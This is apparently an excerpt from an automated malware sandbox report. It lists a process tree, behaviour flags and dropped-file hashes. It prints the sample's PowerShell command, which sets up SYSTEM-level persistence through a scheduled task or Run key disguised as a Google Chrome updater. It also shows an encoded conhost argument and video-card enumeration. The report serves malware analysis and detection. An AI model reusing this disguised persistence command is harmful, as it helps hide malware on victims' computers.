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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4680
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2832 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:2652
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:100 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:5036
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3996
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2156
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5a8e8360d573a4ff072dcc6f09d992c88
SHA13446774433ceaf0b400073914facab11b98b6807
SHA256bf5e284e8f95122bf75ead61c7e2b40f55c96742b05330b5b1cb7915991df13b
SHA5124ee5167643d82082f57c42616007ef9be57f43f9731921bdf7bca611a914724ad94072d3c8f5b130fa54129e5328ccdebf37ba74339c37deb53e79df5cdf0dbe
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Filesize
1KB
MD52f2469bb14b150a11e6b51bba0acb9f5
SHA15edd80540b38b88c642a3016fb4a3aba4fcf1b17
SHA256401ef508de77c4eb886a0594da85addab631ee53c8232a00b3f968509e7834f1
SHA5124d55bfc46c2659bf4adae6fdd693d37f878eee18017a303db3eb9a45098cf84252b81e09d461168456e05397747ab21ff7c9eda5bb036fa954409f6813b4b89a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5